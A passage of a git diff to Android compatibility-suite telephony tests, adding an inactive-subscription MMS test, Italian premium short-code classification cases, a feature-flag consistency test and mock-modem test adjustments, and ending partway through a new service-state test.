-            Log.e(TAG, "Failed to setUsageSetting from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getUsageSetting(int serial) {
-        Log.d(TAG, "getUsageSetting");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.getUsageSettingResponse(rsp, -1 /* Invalid value */);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getUsageSetting from AIDL. Exception" + ex);
-        }
-    }
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
index 57b5a84..dfcaf2c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -100,11 +100,13 @@
         private final Object mLock;
         private boolean mSuccess;
         private boolean mDone;
+        private int mExpectedErrorResultCode;
 
-        public SentReceiver() {
+        SentReceiver(int expectedErrorResultCode) {
             mLock = new Object();
             mSuccess = false;
             mDone = false;
+            mExpectedErrorResultCode = expectedErrorResultCode;
         }
 
         @Override
@@ -135,6 +137,9 @@
                 }
             } else {
                 Log.e(TAG, "Failure result=" + resultCode);
+                if (resultCode == mExpectedErrorResultCode) {
+                    mSuccess = true;
+                }
                 if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
                     final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
                     Log.e(TAG, "HTTP failure=" + httpError);
@@ -161,7 +166,6 @@
                 Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
                 return mDone && mSuccess;
             }
-
         }
     }
 
@@ -175,15 +179,23 @@
 
     @Test
     public void testSendMmsMessage() {
-        sendMmsMessage(0L /* messageId */);
+        sendMmsMessage(0L /* messageId */, Activity.RESULT_OK, SmsManager.getDefault());
+    }
+
+    @Test
+    public void testSendMmsMessageWithInactiveSubscriptionId() {
+        int inactiveSubId = 127;
+        sendMmsMessage(0L /* messageId */, SmsManager.MMS_ERROR_INACTIVE_SUBSCRIPTION,
+                SmsManager.getSmsManagerForSubscriptionId(inactiveSubId));
     }
 
     @Test
     public void testSendMmsMessageWithMessageId() {
-        sendMmsMessage(MESSAGE_ID);
+        sendMmsMessage(MESSAGE_ID, Activity.RESULT_OK, SmsManager.getDefault());
     }
 
-    private void sendMmsMessage(long messageId) {
+    private void sendMmsMessage(long messageId, int expectedErrorResultCode,
+            SmsManager smsManager) {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
              || !doesSupportMMS()) {
             Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
@@ -194,7 +206,7 @@
 
         final Context context = getContext();
         // Register sent receiver
-        mSentReceiver = new SentReceiver();
+        mSentReceiver = new SentReceiver(expectedErrorResultCode);
         context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
         // Create local provider file for sending PDU
         final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
@@ -213,14 +225,15 @@
         final PendingIntent pendingIntent = PendingIntent.getBroadcast(
                 context, 0, new Intent(ACTION_MMS_SENT), PendingIntent.FLAG_MUTABLE);
         if (messageId == 0L) {
-            SmsManager.getDefault().sendMultimediaMessage(context,
+            smsManager.sendMultimediaMessage(context,
                     contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
         } else {
-            SmsManager.getDefault().sendMultimediaMessage(context,
+            smsManager.sendMultimediaMessage(context,
                     contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent,
                     messageId);
         }
         assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
+        assertTrue(mSentReceiver.getResultCode() == expectedErrorResultCode);
         sendFile.delete();
     }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemManager.java b/tests/tests/telephony/current/src/android/telephony/cts/MockModemManager.java
deleted file mode 100644
index 38e36dd..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemManager.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
-
-import android.content.Context;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.TimeUnit;
-
-public class MockModemManager {
-    private static final String TAG = "MockModemManager";
-
-    private static Context sContext;
-    private static MockModemServiceConnector sServiceConnector;
-    private MockModemService mMockModemService;
-
-    public MockModemManager() {
-        sContext = InstrumentationRegistry.getInstrumentation().getContext();
-    }
-
-    private void waitForTelephonyFrameworkDone(int delayInSec) throws Exception {
-        TimeUnit.SECONDS.sleep(delayInSec);
-    }
-
-    /* Public APIs */
-
-    /**
-     * Bring up Mock Modem Service and connect to it.
-     *
-     * @return boolean true if the operation is successful, otherwise false.
-     */
-    public boolean connectMockModemService() throws Exception {
-        return connectMockModemService(MockSimService.MOCK_SIM_PROFILE_ID_DEFAULT);
-    }
-    /**
-     * Bring up Mock Modem Service and connect to it.
-     *
-     * @pararm simprofile for initial Sim profile
-     * @return boolean true if the operation is successful, otherwise false.
-     */
-    public boolean connectMockModemService(int simprofile) throws Exception {
-        boolean result = false;
-
-        if (sServiceConnector == null) {
-            sServiceConnector =
-                    new MockModemServiceConnector(InstrumentationRegistry.getInstrumentation());
-        }
-
-        if (sServiceConnector != null) {
-            // TODO: support DSDS
-            result = sServiceConnector.connectMockModemService(simprofile);
-
-            if (result) {
-                mMockModemService = sServiceConnector.getMockModemService();
-
-                if (mMockModemService != null) {
-                    /*
-                     It needs to have a delay to wait for Telephony Framework to bind with
-                     MockModemService and set radio power as a desired state for initial condition
-                     even get SIM card state. Currently, 1 sec is enough for now.
-                    */
-                    waitForTelephonyFrameworkDone(1);
-                } else {
-                    Log.e(TAG, "MockModemService get failed!");
-                    result = false;
-                }
-            }
-        } else {
-            Log.e(TAG, "Create MockModemServiceConnector failed!");
-        }
-
-        return result;
-    }
-
-    /**
-     * Disconnect from Mock Modem Service.
-     *
-     * @return boolean true if the operation is successful, otherwise false.
-     */
-    public boolean disconnectMockModemService() throws Exception {
-        boolean result = false;
-
-        if (sServiceConnector != null) {
-            result = sServiceConnector.disconnectMockModemService();
-
-            if (result) {
-                mMockModemService = null;
-            } else {
-                Log.e(TAG, "MockModemService disconnected failed!");
-            }
-        } else {
-            Log.e(TAG, "No MockModemServiceConnector exist!");
-        }
-
-        return result;
-    }
-
-    /**
-     * Query whether an active SIM card is present on this sub or not.
-     *
-     * @param subId which sub would be checked.
-     * @return boolean true if any sim card inserted, otherwise false.
-     */
-    public boolean isSimCardPresent(int subId) throws Exception {
-        Log.d(TAG, "isSimCardPresent[" + subId + "]");
-
-        MockModemConfigInterface[] configInterfaces =
-                mMockModemService.getMockModemConfigInterfaces();
-        return configInterfaces[subId].isSimCardPresent(TAG);
-    }
-
-    /**
-     * Insert a SIM card.
-     *
-     * @param subId which sub would insert.
-     * @param simProfileId which carrier sim card is inserted.
-     * @return boolean true if the operation is successful, otherwise false.
-     */
-    public boolean insertSimCard(int subId, int simProfileId) throws Exception {
-        Log.d(TAG, "insertSimCard[" + subId + "] with profile Id(" + simProfileId + ")");
-        boolean result = true;
-
-        if (!isSimCardPresent(subId)) {
-            MockModemConfigInterface[] configInterfaces =
-                    mMockModemService.getMockModemConfigInterfaces();
-            configInterfaces[subId].changeSimProfile(simProfileId, TAG);
-            waitForTelephonyFrameworkDone(1);
-        } else {
-            Log.d(TAG, "There is a SIM inserted. Need to remove first.");
-            result = false;
-        }
-        return result;
-    }
-
-    /**
-     * Remove a SIM card.
-     *
-     * @param subId which sub would remove the SIM.
-     * @return boolean true if the operation is successful, otherwise false.
-     */
-    public boolean removeSimCard(int subId) throws Exception {
-        Log.d(TAG, "removeSimCard[" + subId + "]");
-        boolean result = true;
-
-        if (isSimCardPresent(subId)) {
-            MockModemConfigInterface[] configInterfaces =
-                    mMockModemService.getMockModemConfigInterfaces();
-            configInterfaces[subId].changeSimProfile(
-                    MockSimService.MOCK_SIM_PROFILE_ID_DEFAULT, TAG);
-            waitForTelephonyFrameworkDone(1);
-        } else {
-            Log.d(TAG, "There is no SIM inserted.");
-            result = false;
-        }
-        return result;
-    }
-
-    /**
-     * Force the response error return for a specific RIL request
-     *
-     * @param subId which sub needs to be set.
-     * @param requestId the request/response message ID
-     * @param error RIL_Errno and -1 means to disable the modified mechanism, back to original mock
-     *     modem behavior
-     * @return boolean true if the operation is successful, otherwise false.
-     */
-    public boolean forceErrorResponse(int subId, int requestId, int error) throws Exception {
-        Log.d(
-                TAG,
-                "forceErrorResponse[" + subId + "] for request:" + requestId + " ,error:" + error);
-        boolean result = true;
-
-        // TODO: support DSDS
-        switch (requestId) {
-            case RIL_REQUEST_RADIO_POWER:
-                mMockModemService.getIRadioModem().forceErrorResponse(requestId, error);
-                break;
-            default:
-                Log.e(TAG, "request:" + requestId + " not support to change the response error");
-                result = false;
-                break;
-        }
-        return result;
-    }
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
index a11cd28..15d0635 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
@@ -18,6 +18,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
 
 import android.telephony.AccessNetworkConstants;
 import android.telephony.PhysicalChannelConfig;
@@ -27,7 +28,6 @@
 import org.junit.Before;
 import org.junit.Test;
 
-
 public class PhysicalChannelConfigTest {
 
     private static final int[] CONTEXT_IDS = new int[] {123, 555, 1, 0};
@@ -66,20 +66,21 @@
 
     @Test
     public void testInvalidPhysicalChannelConfig() {
-        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
-                .setNetworkType(NETWORK_TYPE_LTE)
-                .setPhysicalCellId(PHYSICAL_INVALID_CELL_ID)
-                .setCellConnectionStatus(CONNECTION_STATUS)
-                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
-                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
-                .setContextIds(CONTEXT_IDS)
-                .setFrequencyRange(FREQUENCY_RANGE)
-                .setDownlinkChannelNumber(CHANNEL_NUMBER)
-                .setUplinkChannelNumber(CHANNEL_NUMBER)
-                .setBand(BAND)
-                .build();
-        assertThat(PHYSICAL_INVALID_CELL_ID)
-                .isNotEqualTo(mPhysicalChannelConfig.getPhysicalCellId());
+        try {
+            mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                    .setNetworkType(NETWORK_TYPE_LTE)
+                    .setPhysicalCellId(PHYSICAL_INVALID_CELL_ID)
+                    .setCellConnectionStatus(CONNECTION_STATUS)
+                    .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                    .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                    .setContextIds(CONTEXT_IDS)
+                    .setFrequencyRange(FREQUENCY_RANGE)
+                    .setDownlinkChannelNumber(CHANNEL_NUMBER)
+                    .setUplinkChannelNumber(CHANNEL_NUMBER)
+                    .setBand(BAND)
+                    .build();
+            fail("Physical cell Id: 1008 is over limit");
+        } catch (IllegalArgumentException expected) { }
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
index 4113ae5..e0df06e 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
@@ -291,8 +291,19 @@
             new ShortCodeTest("it", "116117", SMS_CATEGORY_FREE_SHORT_CODE),
             new ShortCodeTest("it", "4567", SMS_CATEGORY_NOT_SHORT_CODE),
             new ShortCodeTest("it", "48000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("it", "45678", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "45678", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
             new ShortCodeTest("it", "56789", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "44000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "47000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "48000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "4450000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "4750000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "4850000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "44500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "47500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "48500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "45500", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("it", "49900", SMS_CATEGORY_PREMIUM_SHORT_CODE),
             new ShortCodeTest("it", "456789", SMS_CATEGORY_NOT_SHORT_CODE),
 
             new ShortCodeTest("kg", "112", SMS_CATEGORY_NOT_SHORT_CODE),
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
index 482cd92..a2de857 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
@@ -55,6 +55,7 @@
 import android.telephony.ims.ImsReasonInfo;
 import android.text.TextUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -113,7 +114,7 @@
     private SignalStrength mSignalStrength;
     private TelephonyManager mTelephonyManager;
     private final Object mLock = new Object();
-    private static final String TAG = "android.telephony.cts.TelephonyCallbackTest";
+    private static final String TAG = "TelephonyCallbackTest";
     private static ConnectivityManager mCm;
     private HandlerThread mHandlerThread;
     private Handler mHandler;
@@ -138,12 +139,7 @@
             PreciseCallState.PRECISE_CALL_STATE_WAITING
     );
 
-    private Executor mSimpleExecutor = new Executor() {
-        @Override
-        public void execute(Runnable r) {
-            r.run();
-        }
-    };
+    private final Executor mSimpleExecutor = Runnable::run;
 
     @Before
     public void setUp() throws Exception {
@@ -611,7 +607,7 @@
     }
 
     @Test
-    public void testOSrvccStateChangedByRegisterTelephonyCallback() throws Throwable {
+    public void testOnSrvccStateChangedByRegisterTelephonyCallback() throws Throwable {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
@@ -628,7 +624,7 @@
                 mLock.wait(WAIT_TIME);
             }
         }
-        Log.d(TAG, "testOSrvccStateChangedByRegisterTelephonyCallback");
+        Log.d(TAG, "testOnSrvccStateChangedByRegisterTelephonyCallback");
 
         assertThat(mSrvccStateChangedCalled).isTrue();
 
@@ -1357,8 +1353,7 @@
     private class PhysicalChannelConfigListener extends TelephonyCallback
             implements TelephonyCallback.PhysicalChannelConfigListener {
         @Override
-        public void onPhysicalChannelConfigChanged(
-                @NonNull List<PhysicalChannelConfig> configs) {
+        public void onPhysicalChannelConfigChanged(@NonNull List<PhysicalChannelConfig> configs) {
             synchronized (mLock) {
                 mOnPhysicalChannelConfigCalled = true;
                 mLock.notify();
@@ -1373,10 +1368,25 @@
             return;
         }
 
+        Pair<Integer, Integer> radioVersion = mTelephonyManager.getRadioHalVersion();
+        // 1.2+ or 1.6 with CAPABILITY_PHYSICAL_CHANNEL_CONFIG_1_6_SUPPORTED or 2.0+
+        boolean physicalChannelConfigSupported;
+        if (radioVersion.first == 1 && radioVersion.second == 6) {
+            physicalChannelConfigSupported = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.isRadioInterfaceCapabilitySupported(
+                            TelephonyManager.CAPABILITY_PHYSICAL_CHANNEL_CONFIG_1_6_SUPPORTED));
+        } else {
+            physicalChannelConfigSupported =
+                    radioVersion.first > 1 || radioVersion.second >= 2;
+        }
+        if (!physicalChannelConfigSupported) {
+            Log.d(TAG, "Skipping test because physical channel configs are not available.");
+            return;
+        }
+
         assertFalse(mOnPhysicalChannelConfigCalled);
         mHandler.post(() -> {
-            mPhysicalChannelConfigCallback =
-                    new PhysicalChannelConfigListener();
+            mPhysicalChannelConfigCallback = new PhysicalChannelConfigListener();
             registerTelephonyCallbackWithPermission(mPhysicalChannelConfigCallback);
         });
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
new file mode 100644
index 0000000..29ccbc4
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.pm.PackageManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests for telephony related feature flags defined in {@link android.content.pm.PackageManager}
+ */
+public final class TelephonyFeatureFlagsTest {
+
+    private PackageManager mPackageManager;
+
+    @Before
+    public void setUp() {
+        mPackageManager = getContext().getPackageManager();
+    }
+
+    @Test
+    public void testFeatureFlagsValidation() throws Exception {
+        boolean hasFeatureTelecom = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELECOM);
+        boolean hasFeatureTelephony = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY);
+        boolean hasFeatureCalling = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_CALLING);
+        boolean hasFeatureCarrierLock = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_CARRIERLOCK);
+        boolean hasFeatureCdma = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_CDMA);
+        boolean hasFeatureData = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_DATA);
+        boolean hasFeatureEuicc = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_EUICC);
+        boolean hasFeatureGsm = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_GSM);
+        boolean hasFeatureIms = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_IMS);
+        boolean hasFeatureSingleReg = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION);
+        boolean hasFeatureMbms = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_MBMS);
+        boolean hasFeatureMessaging = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_MESSAGING);
+        boolean hasFeatureRadio = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS);
+        boolean hasFeatureSubscription = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_SUBSCRIPTION);
+
+        if (hasFeatureCalling) {
+            assertTrue(hasFeatureTelecom && hasFeatureRadio && hasFeatureSubscription);
+        }
+
+        if (hasFeatureCarrierLock) {
+            assertTrue(hasFeatureSubscription);
+        }
+
+        if (hasFeatureCdma) {
+            assertTrue(hasFeatureRadio);
+        }
+
+        if (hasFeatureData) {
+            assertTrue(hasFeatureRadio && hasFeatureSubscription);
+        }
+
+        if (hasFeatureEuicc) {
+            assertTrue(hasFeatureSubscription);
+        }
+
+        if (hasFeatureGsm) {
+            assertTrue(hasFeatureRadio);
+        }
+
+        if (hasFeatureIms) {
+            assertTrue(hasFeatureData);
+        }
+
+        if (hasFeatureSingleReg) {
+            assertTrue(hasFeatureIms);
+        }
+
+        if (hasFeatureMbms) {
+            assertTrue(hasFeatureRadio && hasFeatureSubscription);
+        }
+
+        if (hasFeatureMessaging) {
+            assertTrue(hasFeatureRadio && hasFeatureSubscription);
+        }
+
+        if (hasFeatureRadio) {
+            assertTrue(hasFeatureTelephony);
+        }
+
+        if (hasFeatureSubscription) {
+            assertTrue(hasFeatureTelephony);
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 5b2764d..1e8eaa6 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -3621,6 +3621,9 @@
             return;
         }
 
+        // Perform this test on default data subscription.
+        mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
                 mTelephonyManager,
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
@@ -3658,6 +3661,9 @@
             return;
         }
 
+        // Perform this test on default data subscription.
+        mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
                 mTelephonyManager,
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
@@ -3695,6 +3701,9 @@
             return;
         }
 
+        // Perform this test on default data subscription.
+        mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
                 mTelephonyManager,
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
@@ -4464,6 +4473,7 @@
             return;
         }
 
+        boolean connectedToNrCell = false;
         for (CellInfo cellInfo : mTelephonyManager.getAllCellInfo()) {
             CellIdentity cellIdentity = cellInfo.getCellIdentity();
             int[] bands;
@@ -4481,11 +4491,21 @@
                             || (band >= AccessNetworkConstants.NgranBands.BAND_257
                             && band <= AccessNetworkConstants.NgranBands.BAND_261));
                 }
+                if (cellInfo.isRegistered()) {
+                    connectedToNrCell = true;
+                }
             } else {
                 continue;
             }
             assertTrue(bands.length > 0);
         }
+
+        if (connectedToNrCell) {
+            assertEquals(TelephonyManager.NETWORK_TYPE_NR, mTelephonyManager.getDataNetworkType());
+        } else {
+            assertNotEquals(TelephonyManager.NETWORK_TYPE_NR,
+                    mTelephonyManager.getDataNetworkType());
+        }
     }
 
     /**
@@ -5105,6 +5125,37 @@
             // expected
         }
     }
+
+    @Test
+    public void testIgnoreInvalidNetworkType() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // NETWORK_TYPE_BITMASK_LTE_CA is invalid, should be converted into NETWORK_TYPE_BITMASK_LTE
+        long invalidAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE_CA;
+        long expectedAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+                            invalidAllowedNetworkTypes));
+
+            long deviceAllowedNetworkTypes = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                    }
+            );
+            assertEquals(expectedAllowedNetworkTypes, deviceAllowedNetworkTypes);
+        } catch (SecurityException se) {
+            fail("testIgnoreInvalidNetworkType: SecurityException not expected");
+        }
+    }
+
     @Test
     public void getSimSlotMappingTest() {
         if (!hasCellular()) return;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
index 265cb1d..81850a8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
@@ -15,6 +15,8 @@
  */
 package android.telephony.cts;
 
+import static android.telephony.mockmodem.MockSimService.MOCK_SIM_PROFILE_ID_TWN_CHT;
+
 import static com.android.internal.telephony.RILConstants.INTERNAL_ERR;
 import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
 
@@ -28,7 +30,11 @@
 import android.content.pm.PackageManager;
 import android.os.Build;
 import android.os.SystemProperties;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.NetworkRegistrationInfo;
+import android.telephony.ServiceState;
 import android.telephony.TelephonyManager;
+import android.telephony.mockmodem.MockModemManager;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -50,6 +56,7 @@
     private static TelephonyManager sTelephonyManager;
     private static final String ALLOW_MOCK_MODEM_PROPERTY = "persist.radio.allow_mock_modem";
     private static final boolean DEBUG = !"user".equals(Build.TYPE);
+    private static boolean sIsMultiSimDevice;
 
     @BeforeClass
     public static void beforeAllTests() throws Exception {
@@ -63,6 +70,14 @@
         sTelephonyManager =
                 (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
 
+        sIsMultiSimDevice = isMultiSim(sTelephonyManager);
+
+        //TODO: Support DSDS b/210073692
+        if (sIsMultiSimDevice) {
+            Log.d(TAG, "Not support MultiSIM");
+            return;
+        }
+
         sMockModemManager = new MockModemManager();
         assertNotNull(sMockModemManager);
         assertTrue(sMockModemManager.connectMockModemService());
@@ -76,6 +91,11 @@
             return;
         }
 
+        //TODO: Support DSDS b/210073692
+        if (sIsMultiSimDevice) {
+            return;
+        }
+
         // Rebind all interfaces which is binding to MockModemService to default.
         assertNotNull(sMockModemManager);
         assertTrue(sMockModemManager.disconnectMockModemService());
@@ -85,6 +105,8 @@
     @Before
     public void beforeTest() {
         assumeTrue(hasTelephonyFeature());
+        //TODO: Support DSDS b/210073692
+        assumeTrue(!sIsMultiSimDevice);
     }
 
     private static Context getContext() {
@@ -100,6 +122,10 @@
         return true;
     }
 
+    private static boolean isMultiSim(TelephonyManager tm) {
+        return tm != null && tm.getPhoneCount() > 1;
+    }
+
     private static void enforceMockModemDeveloperSetting() throws Exception {
         boolean isAllowed = SystemProperties.getBoolean(ALLOW_MOCK_MODEM_PROPERTY, false);
         // Check for developer settings for user build. Always allow for debug builds
@@ -110,6 +136,26 @@
         }
     }
 
+    private int getRegState(int domain) {
+        int reg;
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
+
+        ServiceState ss = sTelephonyManager.getServiceState();
+        assertNotNull(ss);
+
+        NetworkRegistrationInfo nri =
+                ss.getNetworkRegistrationInfo(domain, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
+        assertNotNull(nri);
+
+        reg = nri.getRegistrationState();
+        Log.d(TAG, "SS: " + nri.registrationStateToString(reg));
+
+        return reg;
+    }
+
     @Test
     public void testSimStateChange() throws Throwable {
         Log.d(TAG, "TelephonyManagerTestOnMockModem#testSimStateChange");
@@ -123,9 +169,7 @@
                         .contains(simCardState));
 
         // Insert a SIM
-        assertTrue(
-                sMockModemManager.insertSimCard(
-                        slotId, MockSimService.MOCK_SIM_PROFILE_ID_TWN_CHT));
+        assertTrue(sMockModemManager.insertSimCard(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT));
         simCardState = sTelephonyManager.getSimCardState();
         assertEquals(TelephonyManager.SIM_STATE_PRESENT, simCardState);
 
@@ -236,4 +280,43 @@
         assertTrue(result);
         assertEquals(sTelephonyManager.getRadioPowerState(), radioState);
     }
+
+    @Test
+    public void testServiceStateChange() throws Throwable {
